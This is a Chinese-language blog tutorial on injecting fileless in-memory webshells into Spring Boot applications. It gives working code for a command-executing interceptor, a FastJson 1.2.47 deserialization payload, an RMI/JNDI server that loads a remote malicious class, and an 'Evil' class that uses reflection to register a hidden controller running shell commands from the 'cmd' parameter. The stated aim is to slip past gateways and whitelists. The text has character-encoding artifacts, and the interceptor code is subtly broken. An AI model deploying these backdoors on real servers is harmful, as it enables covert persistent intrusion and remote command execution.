深入淺出內(nèi)存馬(二) 之SpringBoot內(nèi)存馬(文末視頻教學(xué))
0x01 前言
在上一篇文章中深入淺出內(nèi)存馬(一),我介紹了基于Tomcat的Filter內(nèi)存馬,不光是Filter 還有listener、servlet、controller 等不同形式的內(nèi)存馬。如今企業(yè)開發(fā)過程中,大部分使用的都是spring系列的框架進(jìn)行開發(fā),特別是SpringBoot,現(xiàn)在基本是企業(yè)開發(fā)的標(biāo)配。所以探討Spring系列下的內(nèi)存馬就顯得非常必要了。
今天我們就來研究研究Spring Boot下的內(nèi)存馬實(shí)現(xiàn)。
0x02 需求
隨著微服務(wù)部署技術(shù)的迭代演進(jìn),大型業(yè)務(wù)系統(tǒng)在到達(dá)真正的應(yīng)用服務(wù)器的時候,會經(jīng)過一些系列的網(wǎng)關(guān),復(fù)雜均衡,防火墻。所以如果你新建的shell路由不在這些網(wǎng)關(guān)的白名單中,那么就很有可能無法訪問到,在到達(dá)應(yīng)用服務(wù)器之前就會被丟棄,我們該如何解決這個問題?
所以,在注入內(nèi)存馬的時候,就盡量不要用新建的路由,或者shell地址。最好是在訪問正常的業(yè)務(wù)地址之前,就能執(zhí)行我們的代碼。
根據(jù)這個文章里面的說法基于內(nèi)存 Webshell 的無文件攻擊技術(shù)研究
在經(jīng)過一番文檔查閱和源碼閱讀后,發(fā)現(xiàn)可能有不止一種方法可以達(dá)到以上效果。其中通用的技術(shù)點(diǎn)主要有以下幾個:
在不使用注解和修改配置文件的情況下,使用純 java 代碼來獲得當(dāng)前代碼運(yùn)行時的上下文環(huán)境; 在不使用注解和修改配置文件的情況下,使用純 java 代碼在上下文環(huán)境中手動注冊一個 controller; controller 中寫入 Webshell 邏輯,達(dá)到和 Webshell 的 URL 進(jìn)行交互回顯的效果;
0x03 SpringBoot的生命周期
為了滿足上面的需求,我們需要了解SpringBoot的生命周期,我們需要研究的是:一個請求到到應(yīng)用層之前,需要經(jīng)過那幾個部分?是如何一步一步到到我們的Controller的?
我們用IDEA來搭建一個SpingBoot2 的環(huán)境

訪問地址:

我們還是把斷點(diǎn)打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中

可以看到整個執(zhí)行流程

這部分在上一篇文章中已經(jīng)詳細(xì)描述過,這里不在贅述。
但是這里不同的是在經(jīng)過 Filter 層面處理后,就會進(jìn)入熟悉的 spring-webmvc 組件 org.springframework.web.servlet.DispatcherServlet 類的 doDispatch 方法中。

跟進(jìn)去這個方法

可以看到是遍歷this.handlerMappings 這個迭代器中的mapper的getHandler 方法處理Http中的request請求。
繼續(xù)追蹤,最終會調(diào)用到org.springframework.web.servlet.handler.AbstractHandlerMapping 類的 getHandler 方法,并通過 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 類的實(shí)例。

繼續(xù)跟進(jìn)getHandlerExecutionChain 方法,

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
Iterator var4 = this.adaptedInterceptors.iterator();
while(var4.hasNext()) {
HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
//返回的是HandlerExecutonChain,這里包含了所有的攔截器
return chain;
}
好了,現(xiàn)在我們知道程序在哪里加入的攔截器(interceptor)后,追蹤到這行代碼
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
跟進(jìn)之后發(fā)現(xiàn)interceptor.preHandle(request, response, this.handler) 會遍歷攔截器,并執(zhí)行其preHandle方法。

如果程序提前在調(diào)用的 Controller 上設(shè)置了 Aspect(切面),那么在正式調(diào)用 Controller 前實(shí)際上會先調(diào)用切面的代碼,一定程度上也起到了 "攔截" 的效果。
那么總結(jié)一下,一個 request 發(fā)送到 spring 應(yīng)用,大概會經(jīng)過以下幾個層面才會到達(dá)處理業(yè)務(wù)邏輯的 Controller 層:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
0x04 攔截器Interceptor 的理論探索
用 Interceptor 來攔截所有進(jìn)入 Controller 的 http 請求理論上是可行的,接下來就是實(shí)現(xiàn)從代碼層面動態(tài)注入一個 Interceptor 來達(dá)到 webshell 的效果。
可以通過繼承 HandlerInterceptorAdapter 類或者HandlerInterceptor 類并重寫其 preHandle 方法實(shí)現(xiàn)攔截。preHandle是請求執(zhí)行前執(zhí)行,preHandle 方法中寫一些攔截的處理,比如下面,當(dāng)請求參數(shù)中帶 id 時進(jìn)行攔截,并寫入字符串 InterceptorTest OK! 到 response。
0x0401 模擬真實(shí)業(yè)務(wù)
真實(shí)業(yè)務(wù),這里模擬一個登錄場景,登錄成功返回login success。
package com.evalshell.springboot.web;
import com.evalshell.springboot.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
@Controller
@RequestMapping(value = "/user")
public class UserCrotroller {
@RequestMapping(value = "/login")
public @ResponseBody Object login(HttpServletRequest request){
//簡單模擬登錄成功
//實(shí)體類User 我就不贅述了,就是有2個屬性。并實(shí)現(xiàn)getter和setter 構(gòu)造器方法
User user = new User();
user.setAge(18);
user.setName("jack");
request.getSession().setAttribute("user", user);
return "login success";
}
}
0x0402 編寫自定義的Interceptor
package com.evalshell.springboot.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class VulInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
System.out.println(code);
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String result = r.readLine();
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
0x0403 注冊攔截器
實(shí)現(xiàn)攔截器后還需要將攔截器注冊到spring容器中,可以通過implements WebMvcConfigurer,覆蓋其addInterceptors(InterceptorRegistry registry)方法
package com.evalshell.springboot.config;
import com.evalshell.springboot.interceptor.VulInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//這里是配置需要攔截的路由
String[] VulPathPatterns = {"/user/login"};
registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
}
}
可以看到達(dá)到的效果是訪問正常路由,不會影響正常業(yè)務(wù)。如果是帶有code的參數(shù)會執(zhí)行code里面的代碼,從而突破網(wǎng)關(guān)的限制。
那么我們現(xiàn)在已經(jīng)明白了如何在springboot中進(jìn)行攔截,并執(zhí)行我們的內(nèi)存馬,但是還是有一個問題,如何注入我們的內(nèi)存馬?
在這里根據(jù)landgrey大佬的思路:
spring boot 初始化過程中會往
org.springframework.context.support.LiveBeansView類的applicationContexts屬性中添加org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext類的對象。bean 實(shí)例名字是requestMappingHandlerMapping或者比較老版本的DefaultAnnotationHandlerMapping。那么獲取adaptedInterceptors屬性值就比較簡單了:org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
我總結(jié)下就是:
首先獲取應(yīng)用的上下文環(huán)境,也就是 ApplicationContext然后從 ApplicationContext中獲取AbstractHandlerMapping實(shí)例(用于反射)反射獲取 AbstractHandlerMapping類的adaptedInterceptors字段通過 adaptedInterceptors注冊攔截器
0x05 實(shí)戰(zhàn)
為了方便搭建環(huán)境,我們采用FastJson 1.2.47的RCE來創(chuàng)造反序列化漏洞利用點(diǎn),我們在pom.xml中配置好我們的依賴,
<dependencies>
<!-- 配置fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<!-- 配置springboot2 ,小編使用的是2.5.3的版本-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
手動創(chuàng)建一個FastJson的利用點(diǎn),因?yàn)樵?nbsp;JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認(rèn)值被調(diào)整為false,為了演示,我這里是用了JDK 18u102。
@Controller
public class VulController {
@RequestMapping(value = "/unserializer")
@ResponseBody
public String unserializer(@RequestParam String code){
JSON.parse(code);
return "unserializer";
}
}
創(chuàng)建RMI服務(wù)器
package com.evalshell.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("TouchFile",
"com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
創(chuàng)建惡意代碼
package com.evalshell.server;
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
啟動JNDIServer,端口啟動在了1099

在TouchFile的編譯后的類路徑下,開啟web服務(wù),提供惡意類文件的http下載服務(wù),這個端口必須和上面的JNDIServer中配置的一致。

我們使用FastJson的Payload進(jìn)行攻擊
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
"autoCommit":true
}
}
用postman請求,攻擊成功的話,就會彈出計(jì)算器,表示可以執(zhí)行任意命令。

好的,上述已經(jīng)搭建起一個Fastjson的漏洞環(huán)境。
使用上述方法編寫攔截器內(nèi)存馬:
package com.evalshell.server;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Evil {
public Evil() throws Exception{
// 關(guān)于獲取Context的方式有多種
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通過反射獲得該類的test方法
Method method2 = Evil.class.getMethod("test");
// 定義該controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/good");
// 定義允許訪問的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 構(gòu)造注冊信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 創(chuàng)建用于處理請求的對象,避免無限循環(huán)使用另一個構(gòu)造方法
Evil injectToController = new Evil("aaa");
// 將該controller注冊到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
private Evil(String aaa) {
}
public void test() throws IOException {
// 獲取請求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 獲取請求的參數(shù)cmd并執(zhí)行
// 類似于PHP的system($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
同時修改JNDIServer類中的代碼
將Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替換成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");
最后演示一下,使用fastjson RCE進(jìn)行攻擊并動態(tài)寫入我們的內(nèi)存馬
至此,我們已經(jīng)完成SpringBoot下的無文件內(nèi)存馬的實(shí)現(xiàn)!
0x06 參考
https://landgrey.me/blog/19/
https://www.anquanke.com/post/id/198886#h2-0
https://evalshell.com/
